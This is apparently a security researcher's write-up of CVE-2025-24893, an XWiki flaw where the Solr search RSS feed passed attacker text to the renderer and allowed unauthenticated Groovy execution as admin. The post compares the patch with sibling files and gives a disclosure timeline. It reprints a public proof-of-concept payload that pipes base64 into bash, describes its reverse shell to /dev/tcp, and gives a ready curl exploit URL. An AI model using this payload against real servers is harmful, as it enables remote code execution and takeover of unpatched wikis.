The patch for CVE-2025-24893 changes one line in Main/SolrSearchMacros.xml. The same commit refactors four other files. Three of those four already had the fix. The fourth, the one named in the CVE, did not.
CVE-2025-24893: XWiki's DatabaseSearch Bypassed the Renderer. SolrSearchMacros Emitted Into It.
vendor
patterns
cve
proof of concept
DatabaseSearch wrote to the response. SolrSearchMacros wrote to the renderer.
XWiki ships two parallel search backends. Both expose media=rss on a bin/get/Main/ URL, both return application/rss+xml, both inline the caller's text query parameter into the feed's <title> and <description> elements. Main/DatabaseSearch.xml, pre-patch, ended its RSS branch with eight lines:
#set ($discard = $response.setContentType('application/rss+xml'))
#set ($characterEncoding = 'utf-8')
## Make sure the Character Encoding response header matches the character encoding used to write the response and
## compute its length.
#set ($discard = $response.setCharacterEncoding($characterEncoding))
## We write the output directly to the response to avoid the execution of the Rendering Transformations.
#set ($discard = $response.writer.print($feedOutput))
## The content length is measured in bytes and one character can use more than one byte.
#set ($discard = $response.setContentLength($feedOutput.getBytes($characterEncoding).size()))
## Make sure the entire content is send back to the client.
#set ($discard = $response.flushBuffer())
## Make sure XWiki doesn't write any more content to the response.
#set ($discard = $xcontext.setFinished(true))$response.writer.print($feedOutput) writes the feed bytes directly to the HTTP response. $xcontext.setFinished(true) tells XWiki not to process the response any further. The comment above the call states what the call is doing and why: "We write the output directly to the response to avoid the execution of the Rendering Transformations."
Main/SolrSearchMacros.xml, pre-patch, ended its RSS branch with two:
#set ($discard = $response.setContentType('application/rss+xml'))
$xwiki.feed.getFeedOutput($feed, 'rss_2.0')It set the content type. It did not write to the response. It emitted the feed string as Velocity output. Velocity returned the string to XWiki. XWiki handed the string to the Rendering Transformations the DatabaseSearch comment was explicitly written to avoid.
The renderer is also a Groovy interpreter
The page test added by the patch documents the exact shape of what reaches the renderer:
String unescapedText = "<b>}}}{{noscript}}</b>";
String escapedText = "<b>}}}{{noscript}}</b>";
this.request.put("media", "rss");
this.request.put("text", unescapedText);
this.context.setAction("get");
// ...
assertTrue(rssFeed.contains("<title>search.rss [[" + escapedText + "]]</title>"));The caller's text is XML-escaped before being inlined into the feed. <b> becomes <b>. The macro-delimiter sequence }}}{{noscript}} is not. XML escaping operates on <, >, &, ". It does not operate on {, }. The XWiki rendering pipeline that runs over the returned feed string parses {{...}} as macro delimiters. The XML escape never saw them as anything to escape.
Main/SolrSearchMacros.xml's file header declares:
<author>xwiki:XWiki.Admin</author>
<contentAuthor>xwiki:XWiki.Admin</contentAuthor>XWiki resolves macro execution rights against the content author of the page the macro appears in. When the rendering pipeline encounters {{groovy}} in the feed string returned by SolrSearchMacros, it executes the Groovy as XWiki.Admin, which carries programming rights. The unauthenticated guest who sent the request becomes admin in the time it takes the renderer to walk the string it should never have seen.
The PoC closes brackets, opens macros
Ricardo Hamada's CVE-2025-24-893.py, uploaded 2026-05-28 with a User-Agent of Mozilla/5.0 (Windows NT 10.0; Win64; x64) HTB-Exploit/1.0, builds this payload:
payload = (
f"}}}}}} {{{{async async=false}}}} {{{{groovy}}}} "
f"String[] cmd = ['/bin/bash', '-c', 'echo {payload_base64} | base64 -d | bash']; "
f"Runtime.getRuntime().exec(cmd); "
f"{{{{/groovy}}}} {{{{/async}}}}"
)After Python string formatting, the wire payload is:
}}}}}} {{async async=false}} {{groovy}} String[] cmd = ['/bin/bash', '-c', 'echo <b64> | base64 -d | bash']; Runtime.getRuntime().exec(cmd); {{/groovy}} {{/async}}}}}}}} closes the bracket and macro contexts the renderer opened around the caller's text inside search.rss [[<text>]]. {{async async=false}} opens an async block forced to synchronous evaluation; without async=false, the renderer would dispatch the inner macro to a background thread and the PoC's requests.get(..., timeout=15) would return without a reverse shell holding the connection. {{groovy}} opens the Groovy macro. Runtime.getRuntime().exec(cmd) runs whatever the operator put in the base64 blob, which the PoC fills with bash -i >& /dev/tcp/<ip>/<port> 0>&1.
The full request is a GET:
curl -s "http://target/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7D%7D%7D+%7B%7Basync+async%3Dfalse%7D%7D+%7B%7Bgroovy%7D%7D+String%5B%5D+cmd+%3D+%5B%27%2Fbin%2Fbash%27%2C+%27-c%27%2C+%27...%27%5D%3B+Runtime.getRuntime%28%29.exec%28cmd%29%3B+%7B%7B%2Fgroovy%7D%7D+%7B%7B%2Fasync%7D%7D"No cookie. No session. No header beyond the spoofed User-Agent. The endpoint bin/get/Main/SolrSearch is the public search-feed URL on every default XWiki distribution flavor since 5.3-milestone-2.
The patch is a name for the lesson the maintainers had already learned and forgotten
The patch commit, 67021db9b8ed26c2236a653269302a86bf01ef40, is dated Mon, 27 May 2024 14:14:54 +0200, authored by Pierre Jeanjean, with the subject line XWIKI-22149: Introduce a generic Velocity macro to set HTTP responses. It touches ten files. The substantive new code is one macro in templates/macros.vm:
#macro (rawResponse $data $contentType)
#if (!$contentType)
#set ($contentType = 'text/plain')
#end
#set ($characterEncoding = 'utf-8')
#set ($discard = $response.setContentType($contentType))
#set ($discard = $response.setCharacterEncoding($characterEncoding))
#set ($discard = $response.writer.print($data))
#set ($discard = $response.setContentLength($data.getBytes($characterEncoding).size()))
#set ($discard = $response.flushBuffer())
#set ($discard = $xcontext.setFinished(true))
#endFour other files in the same commit had the writer.print + setFinished pattern open-coded already; the patch collapses each to one line:
| Pre-patch shape | File |
|---|---|
| writer.print + setFinished, with comment explaining why | CKEditor/HTMLConverter.xml |
| writer.print + setFinished | XWiki/Notifications/Code/NotificationRSSService.xml |
| writer.print + setFinished, with comment explaining why | Main/DatabaseSearch.xml |
writer.write, inline as #jsonResponse |
templates/macros.vm (existing macro) |
(missing) setContentType, then emit feed string as Velocity output |
Main/SolrSearchMacros.xml |
The XWiki team had implemented the pattern in four files across four subsystems. The CKEditor file's pre-patch comment reads:
## We write the output directly to the response to avoid the execution of the Rendering Transformations. Another
## option would be to specify which Rendering Transformations to execute in the query string (XWIKI-13167).
## See CKEDITOR-51: Icon transformations are saved by CKEditorThe CKEDITOR-51 ticket cited inline is institutional memory of an earlier case where the rendering pipeline ran transforms over data that was supposed to be an HTTP response, and the transforms broke the data. The fix was to write directly to the response. The maintainers documented the fix where they applied it. SolrSearchMacros got the same threat model. It did not get the same code.
#rawResponse is the name the maintainers gave the lesson. The patch is not a new technique. It is a label for a thing they had implemented four times, omitted once, and finally consolidated only after CVE-2025-24893 made the omission worth a refactor.
Parallel implementation gap, with design debt holding the primitive
This is a parallel implementation gap. Two modules, Main/DatabaseSearch.xml and Main/SolrSearchMacros.xml, expose the same media=rss contract on the same wiki, both reachable on the same public endpoint surface, both inlining attacker-controlled text into the feed they emit. One imports the convention (write to response, set finished) and carries an inline comment naming why. The other does not. The CVE names the divergent one.
The shape recurs. Gitea's container-package handler (CVE-2026-27771) was one of ten parallel package handlers whose ReqContainerAccess middleware never imported the canonical access_model.GetDoerRepoPermission utility every other module had used for a decade. Camel's five sibling header filter strategies (CVE-2026-40453) needed the same setLowerCase(true) line the 2025 patch already added to the HTTP one. Each is the same shape: a security convention applied per-module by hand, omitted once, the omission named by a CVE.
It is also a design debt driver. The substrate, XWiki's choice to run macro transformations over Velocity output by default, holds the primitive. The CVE-2025-24893 patch closes one instance. The next handler a contributor writes for a new endpoint will start with $response.setContentType(...) and a line that emits the value, because that is what writing the obvious thing looks like in XWiki. #rawResponse is shorter than the eight lines it replaces. It is longer than the one line that ships the bug.
Timeline
The diff is on the public XWiki repository. The dates are not.
| Date | Event |
|---|---|
| 2024-05-27 | Commit 67021db lands on master, refactoring five files into #rawResponse |
| 2025-02-20 | CVE-2025-24893 published, GHSA-rr6p-3pfg-562j published, John Kwak of ZDI credited |
| 2025-10-30 | CISA adds CVE-2025-24893 to the KEV catalog, due date 2025-11-20 |
| 2026-05-28 | hasecto publishes CVE-2025-24-893.py, the HTB-flavored Python weaponizer the scanner found |
Nine months between the commit that names the fix and the CVE that names the bug. Eight months between the CVE and the KEV inclusion. Fifteen months between the patch and an unauthenticated guest pasting a working reverse shell into a public GitHub repo with a 📊 Detalhes da Vulnerabilidade README and a User-Agent that names the lab it was tested against.
The named macro changes which call is shorter. It does not change which one a developer writes first.